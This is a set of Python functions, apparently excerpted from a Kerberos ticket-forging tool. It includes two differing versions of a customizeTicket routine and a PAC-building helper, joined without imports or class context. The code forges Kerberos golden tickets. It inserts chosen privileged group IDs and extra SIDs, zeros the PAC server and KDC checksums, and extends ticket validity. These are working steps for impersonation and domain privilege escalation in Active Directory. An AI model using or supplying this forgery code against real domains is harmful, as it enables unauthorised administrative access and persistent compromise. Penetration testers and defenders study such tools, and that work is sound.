def parse_ticket(decrypted_ticket):
'''
Parses the authorization data of a decrypted Kerberos ticket.
Parameters:
decrypted_ticket (byte) Decrypted Kerberos ticket
Returns:
parsed_ticket (string) Parsed and formatted Kerberos ticket
'''
decoded_ticket = decoder.decode(decrypted_ticket)[0]
pac_data = decoded_ticket['field-9'][0]['field-1']
dec_auth_data = decoder.decode(pac_data)[0][0]['field-1']
pac_buffers = PACTYPE(dec_auth_data.__bytes__())
pac_buffer = pac_buffers['Buffers']
pac_buffer_hex = hexlify(pac_buffer)
pac_info_list = process_pac_info_buffer(pac_buffer_hex)
auth_data_type = pac_info_list[0]
auth_data_length = pac_info_list[1]
auth_data_offset = pac_info_list[2]
auth_data_end = (auth_data_length * 2) - 40
offset_start = 24 + auth_data_offset * 2
auth_data_hex = pac_buffer_hex[offset_start:offset_start + auth_data_end]
sys.stdout = output = StringIO()
print("\nPAC Info Buffer:")
print(" ulType: " + str(auth_data_type))
print(" cbBufferSize: " + str(auth_data_length) + " bytes")
print(" Offset: " + str(auth_data_offset) + " bytes")
final_validation_info = VALIDATION_INFO()
final_validation_info.fromStringReferents(unhexlify(auth_data_hex))
final_validation_info.dump()
sys.stdout = sys.__stdout__
output = output.getvalue()
indent = ''
parsed_ticket = []
for line in output.splitlines():
if line == 'VALIDATION_INFO ':
indent = ' '
parsed_ticket.append('\nAuthorization Data:')
continue
line = indent + line
parsed_ticket.append(line)
parsed_ticket = '\n'.join(parsed_ticket)
return parsed_ticket
def customizeTicket(self, kdcRep, pacInfos):
logging.info('Customizing ticket for %s/%s' %
(self.__domain, self.__target))
encTicketPart = EncTicketPart()
flags = list()
flags.append(TicketFlags.forwardable.value)
flags.append(TicketFlags.proxiable.value)
flags.append(TicketFlags.renewable.value)
if self.__domain == self.__server:
flags.append(TicketFlags.initial.value)
flags.append(TicketFlags.pre_authent.value)
encTicketPart['flags'] = encodeFlags(flags)
encTicketPart['key'] = noValue
encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype']
if encTicketPart['key'][
'keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value:
encTicketPart['key']['keyvalue'] = ''.join(
[random.choice(string.ascii_letters) for _ in range(16)])
elif encTicketPart['key'][
'keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value:
encTicketPart['key']['keyvalue'] = ''.join(
[random.choice(string.ascii_letters) for _ in range(32)])
else:
encTicketPart['key']['keyvalue'] = ''.join(
[random.choice(string.ascii_letters) for _ in range(16)])
encTicketPart['crealm'] = self.__domain.upper()
encTicketPart['cname'] = noValue
encTicketPart['cname'][
'name-type'] = PrincipalNameType.NT_PRINCIPAL.value
encTicketPart['cname']['name-string'] = noValue
encTicketPart['cname']['name-string'][0] = self.__target
encTicketPart['transited'] = noValue
encTicketPart['transited']['tr-type'] = 0
encTicketPart['transited']['contents'] = ''
encTicketPart['authtime'] = KerberosTime.to_asn1(
datetime.datetime.utcnow())
encTicketPart['starttime'] = KerberosTime.to_asn1(
datetime.datetime.utcnow())
# Let's extend the ticket's validity a lil bit
ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(
days=int(self.__options.duration))
encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration)
encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration)
encTicketPart['authorization-data'] = noValue
encTicketPart['authorization-data'][0] = noValue
encTicketPart['authorization-data'][0][
'ad-type'] = AuthorizationDataType.AD_IF_RELEVANT.value
encTicketPart['authorization-data'][0]['ad-data'] = noValue
# Let's locate the KERB_VALIDATION_INFO and Checksums
if PAC_LOGON_INFO in pacInfos:
data = pacInfos[PAC_LOGON_INFO]
validationInfo = VALIDATION_INFO()
validationInfo.fromString(pacInfos[PAC_LOGON_INFO])
lenVal = len(validationInfo.getData())
validationInfo.fromStringReferents(data[lenVal:], lenVal)
aTime = timegm(
strptime(str(encTicketPart['authtime']), '%Y%m%d%H%M%SZ'))
unixTime = self.getFileTime(aTime)
kerbdata = KERB_VALIDATION_INFO()
kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32
# Let's adjust username and other data
validationInfo['Data']['LogonDomainName'] = self.__domain.upper()
validationInfo['Data']['EffectiveName'] = self.__target
# Our Golden Well-known groups! :)
groups = self.__options.groups.split(',')
validationInfo['Data']['GroupIds'] = list()
validationInfo['Data']['GroupCount'] = len(groups)
for group in groups:
groupMembership = GROUP_MEMBERSHIP()
groupId = NDRULONG()
groupId['Data'] = int(group)
groupMembership['RelativeId'] = groupId
groupMembership[
'Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
validationInfo['Data']['GroupIds'].append(groupMembership)
# Let's add the extraSid
if self.__options.extra_sid is not None:
extrasids = self.__options.extra_sid.split(',')
if validationInfo['Data']['SidCount'] == 0:
# Let's be sure user's flag specify we have extra sids.
validationInfo['Data']['UserFlags'] |= 0x20
validationInfo['Data'][
'ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY()
for extrasid in extrasids:
validationInfo['Data']['SidCount'] += 1
sidRecord = KERB_SID_AND_ATTRIBUTES()
sid = RPC_SID()
sid.fromCanonical(extrasid)
sidRecord['Sid'] = sid
sidRecord[
'Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
# And, let's append the magicSid
validationInfo['Data']['ExtraSids'].append(sidRecord)
else:
validationInfo['Data']['ExtraSids'] = NULL
validationInfoBlob = validationInfo.getData(
) + validationInfo.getDataReferents()
pacInfos[PAC_LOGON_INFO] = validationInfoBlob
if logging.getLogger().level == logging.DEBUG:
logging.debug('VALIDATION_INFO after making it gold')
validationInfo.dump()
print('\n')
else:
raise Exception('PAC_LOGON_INFO not found! Aborting')
logging.info('\tPAC_LOGON_INFO')
# Let's now clear the checksums
if PAC_SERVER_CHECKSUM in pacInfos:
serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])
if serverChecksum[
'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
serverChecksum['Signature'] = '\x00' * 12
elif serverChecksum[
'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
serverChecksum['Signature'] = '\x00' * 12
else:
serverChecksum['Signature'] = '\x00' * 16
pacInfos[PAC_SERVER_CHECKSUM] = serverChecksum.getData()
else:
raise Exception('PAC_SERVER_CHECKSUM not found! Aborting')
if PAC_PRIVSVR_CHECKSUM in pacInfos:
privSvrChecksum = PAC_SIGNATURE_DATA(
pacInfos[PAC_PRIVSVR_CHECKSUM])
privSvrChecksum['Signature'] = '\x00' * 12
if privSvrChecksum[
'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
privSvrChecksum['Signature'] = '\x00' * 12
elif privSvrChecksum[
'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
privSvrChecksum['Signature'] = '\x00' * 12
else:
privSvrChecksum['Signature'] = '\x00' * 16
pacInfos[PAC_PRIVSVR_CHECKSUM] = privSvrChecksum.getData()
else:
raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting')
if PAC_CLIENT_INFO_TYPE in pacInfos:
pacClientInfo = PAC_CLIENT_INFO(pacInfos[PAC_CLIENT_INFO_TYPE])
pacClientInfo['ClientId'] = unixTime
pacInfos[PAC_CLIENT_INFO_TYPE] = pacClientInfo.getData()
else:
raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting')
logging.info('\tPAC_CLIENT_INFO_TYPE')
logging.info('\tEncTicketPart')
if self.__domain == self.__server:
encRepPart = EncASRepPart()
else:
encRepPart = EncTGSRepPart()
encRepPart['key'] = noValue
encRepPart['key']['keytype'] = encTicketPart['key']['keytype']
encRepPart['key']['keyvalue'] = encTicketPart['key']['keyvalue']
encRepPart['last-req'] = noValue
encRepPart['last-req'][0] = noValue
encRepPart['last-req'][0]['lr-type'] = 0
encRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1(
datetime.datetime.utcnow())
encRepPart['nonce'] = 123456789
encRepPart['key-expiration'] = KerberosTime.to_asn1(ticketDuration)
encRepPart['flags'] = encodeFlags(flags)
encRepPart['authtime'] = str(encTicketPart['authtime'])
encRepPart['endtime'] = str(encTicketPart['endtime'])
encRepPart['starttime'] = str(encTicketPart['starttime'])
encRepPart['renew-till'] = str(encTicketPart['renew-till'])
encRepPart['srealm'] = self.__domain.upper()
encRepPart['sname'] = noValue
encRepPart['sname']['name-string'] = noValue
encRepPart['sname']['name-string'][0] = self.__service
if self.__domain == self.__server:
encRepPart['sname'][
'name-type'] = PrincipalNameType.NT_SRV_INST.value
encRepPart['sname']['name-string'][1] = self.__domain.upper()
logging.info('\tEncAsRepPart')
else:
encRepPart['sname'][
'name-type'] = PrincipalNameType.NT_PRINCIPAL.value
encRepPart['sname']['name-string'][1] = self.__server
logging.info('\tEncTGSRepPart')
return encRepPart, encTicketPart, pacInfos
def createBasicValidationInfo(self):
# 1) KERB_VALIDATION_INFO
kerbdata = KERB_VALIDATION_INFO()
aTime = timegm(datetime.datetime.utcnow().timetuple())
unixTime = self.getFileTime(aTime)
kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32
# LogoffTime: A FILETIME structure that contains the time the client's logon
# session should expire. If the session should not expire, this structure
# SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime
# member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as
# an indicator of when to warn the user that the allowed time is due to expire.
kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF
# KickOffTime: A FILETIME structure that contains LogoffTime minus the user
# account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the
# client should not be logged off, this structure SHOULD have the dwHighDateTime
# member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF.
# The Kerberos service ticket end time is a replacement for KickOffTime.
# The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of
# an account. A recipient of the PAC SHOULD<8> use this value as the indicator
# of when the client should be forcibly disconnected.
kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF
kerbdata['PasswordLastSet']['dwLowDateTime'] = unixTime & 0xffffffff
kerbdata['PasswordLastSet']['dwHighDateTime'] = unixTime >> 32
kerbdata['PasswordCanChange']['dwLowDateTime'] = 0
kerbdata['PasswordCanChange']['dwHighDateTime'] = 0
# PasswordMustChange: A FILETIME structure that contains the time at which
# theclient's password expires. If the password will not expire, this
# structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the
# dwLowDateTime member set to 0xFFFFFFFF.
kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF
kerbdata['EffectiveName'] = self.__target
kerbdata['FullName'] = ''
kerbdata['LogonScript'] = ''
kerbdata['ProfilePath'] = ''
kerbdata['HomeDirectory'] = ''
kerbdata['HomeDirectoryDrive'] = ''
kerbdata['LogonCount'] = 500
kerbdata['BadPasswordCount'] = 0
kerbdata['UserId'] = int(self.__options.user_id)
kerbdata['PrimaryGroupId'] = 513
# Our Golden Well-known groups! :)
groups = self.__options.groups.split(',')
kerbdata['GroupCount'] = len(groups)
for group in groups:
groupMembership = GROUP_MEMBERSHIP()
groupId = NDRULONG()
groupId['Data'] = int(group)
groupMembership['RelativeId'] = groupId
groupMembership[
'Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
kerbdata['GroupIds'].append(groupMembership)
kerbdata['UserFlags'] = 0
kerbdata[
'UserSessionKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
kerbdata['LogonServer'] = ''
kerbdata['LogonDomainName'] = self.__domain.upper()
kerbdata['LogonDomainId'].fromCanonical(self.__options.domain_sid)
kerbdata['LMKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00'
kerbdata[
'UserAccountControl'] = USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD
kerbdata['SubAuthStatus'] = 0
kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0
kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0
kerbdata['LastFailedILogon']['dwLowDateTime'] = 0
kerbdata['LastFailedILogon']['dwHighDateTime'] = 0
kerbdata['FailedILogonCount'] = 0
kerbdata['Reserved3'] = 0
kerbdata['ResourceGroupDomainSid'] = NULL
kerbdata['ResourceGroupCount'] = 0
kerbdata['ResourceGroupIds'] = NULL
validationInfo = VALIDATION_INFO()
validationInfo['Data'] = kerbdata
return validationInfo
def customizeTicket(self, kdcRep, pacInfos):
logging.info('Customizing ticket for %s/%s' % (self.__domain, self.__target))
encTicketPart = EncTicketPart()
flags = list()
flags.append(TicketFlags.forwardable.value)
flags.append(TicketFlags.proxiable.value)
flags.append(TicketFlags.renewable.value)
flags.append(TicketFlags.initial.value)
flags.append(TicketFlags.pre_authent.value)
encTicketPart['flags'] = encodeFlags(flags)
encTicketPart['key'] = None
encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype']
if encTicketPart['key']['keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value:
encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.letters) for _ in range(16)])
elif encTicketPart['key']['keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value:
encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.letters) for _ in range(32)])
else:
encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.letters) for _ in range(16)])
encTicketPart['crealm'] = self.__domain.upper()
encTicketPart['cname'] = None
encTicketPart['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
encTicketPart['cname']['name-string'] = None
encTicketPart['cname']['name-string'][0] = self.__target
encTicketPart['transited'] = None
encTicketPart['transited']['tr-type'] = 0
encTicketPart['transited']['contents'] = ''
encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
# Let's extend the ticket's validity a lil bit
ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(days=int(self.__options.duration))
encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration)
encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration)
encTicketPart['authorization-data'] = None
encTicketPart['authorization-data'][0] = None
encTicketPart['authorization-data'][0]['ad-type'] = AuthorizationDataType.AD_IF_RELEVANT.value
encTicketPart['authorization-data'][0]['ad-data'] = None
# Let's locate the KERB_VALIDATION_INFO and Checksums
if pacInfos.has_key(PAC_LOGON_INFO):
data = pacInfos[PAC_LOGON_INFO]
validationInfo = VALIDATION_INFO()
validationInfo.fromString(pacInfos[PAC_LOGON_INFO])
lenVal = len(validationInfo.getData())
validationInfo.fromStringReferents(data[lenVal:], lenVal)
aTime = timegm(strptime(str(encTicketPart['authtime']), '%Y%m%d%H%M%SZ'))
unixTime = self.getFileTime(aTime)
kerbdata = KERB_VALIDATION_INFO()
kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32
# Let's adjust username and other data
validationInfo['Data']['LogonDomainName'] = self.__domain.upper()
validationInfo['Data']['EffectiveName'] = self.__target
# Our Golden Well-known groups! :)
groups = self.__options.groups.split(',')
validationInfo['Data']['GroupIds'] = list()
validationInfo['Data']['GroupCount'] = len(groups)
for group in groups:
groupMembership = GROUP_MEMBERSHIP()
groupId = NDRULONG()
groupId['Data'] = int(group)
groupMembership['RelativeId'] = groupId
groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
validationInfo['Data']['GroupIds'].append(groupMembership)
# Let's add the extraSid
if self.__options.extra_sid is not None:
if validationInfo['Data']['SidCount'] == 0:
# Let's be sure user's flag specify we have extra sids.
validationInfo['Data']['UserFlags'] |= 0x20
validationInfo['Data']['ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY()
validationInfo['Data']['SidCount'] += 1
sidRecord = KERB_SID_AND_ATTRIBUTES()
sid = RPC_SID()
sid.fromCanonical(self.__options.extra_sid)
sidRecord['Sid'] = sid
sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
# And, let's append the magicSid
validationInfo['Data']['ExtraSids'].append(sidRecord)
else:
validationInfo['Data']['ExtraSids'] = NULL
validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents()
pacInfos[PAC_LOGON_INFO] = validationInfoBlob
if logging.getLogger().level == logging.DEBUG:
logging.debug('VALIDATION_INFO after making it gold')
validationInfo.dump()
print ('\n')
else:
raise Exception('PAC_LOGON_INFO not found! Aborting')
logging.info('\tPAC_LOGON_INFO')
# Let's now clear the checksums
if pacInfos.has_key(PAC_SERVER_CHECKSUM):
serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])
if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
serverChecksum['Signature'] = '\x00' * 12
elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
serverChecksum['Signature'] = '\x00' * 12
else:
serverChecksum['Signature'] = '\x00' * 16
pacInfos[PAC_SERVER_CHECKSUM] = serverChecksum.getData()
else:
raise Exception('PAC_SERVER_CHECKSUM not found! Aborting')
if pacInfos.has_key(PAC_PRIVSVR_CHECKSUM):
privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM])
privSvrChecksum['Signature'] = '\x00' * 12
if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
privSvrChecksum['Signature'] = '\x00' * 12
elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
privSvrChecksum['Signature'] = '\x00' * 12
else:
privSvrChecksum['Signature'] = '\x00' * 16
pacInfos[PAC_PRIVSVR_CHECKSUM] = privSvrChecksum.getData()
else:
raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting')
if pacInfos.has_key(PAC_CLIENT_INFO_TYPE):
pacClientInfo = PAC_CLIENT_INFO(pacInfos[PAC_CLIENT_INFO_TYPE])
pacClientInfo['ClientId'] = unixTime
pacInfos[PAC_CLIENT_INFO_TYPE] = pacClientInfo.getData()
else:
raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting')
logging.info('\tPAC_CLIENT_INFO_TYPE')
logging.info('\tEncTicketPart')
encASRepPart = EncASRepPart()
encASRepPart['key'] = None
encASRepPart['key']['keytype'] = encTicketPart['key']['keytype']
encASRepPart['key']['keyvalue'] = encTicketPart['key']['keyvalue']
encASRepPart['last-req'] = None
encASRepPart['last-req'][0] = None
encASRepPart['last-req'][0]['lr-type'] = 0
encASRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
encASRepPart['nonce'] = 123456789
encASRepPart['key-expiration'] = KerberosTime.to_asn1(ticketDuration)
encASRepPart['flags'] = encodeFlags(flags)
encASRepPart['authtime'] = encTicketPart['authtime']
encASRepPart['endtime'] = encTicketPart['endtime']
encASRepPart['starttime'] = encTicketPart['starttime']
encASRepPart['renew-till'] = encTicketPart['renew-till']
encASRepPart['srealm'] = self.__domain.upper()
encASRepPart['sname'] = None
encASRepPart['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
encASRepPart['sname']['name-string'] = None
encASRepPart['sname']['name-string'][0] = 'krbtgt'
encASRepPart['sname']['name-string'][1] = self.__domain.upper()
logging.info('\tEncAsRepPart')
return encASRepPart, encTicketPart, pacInfos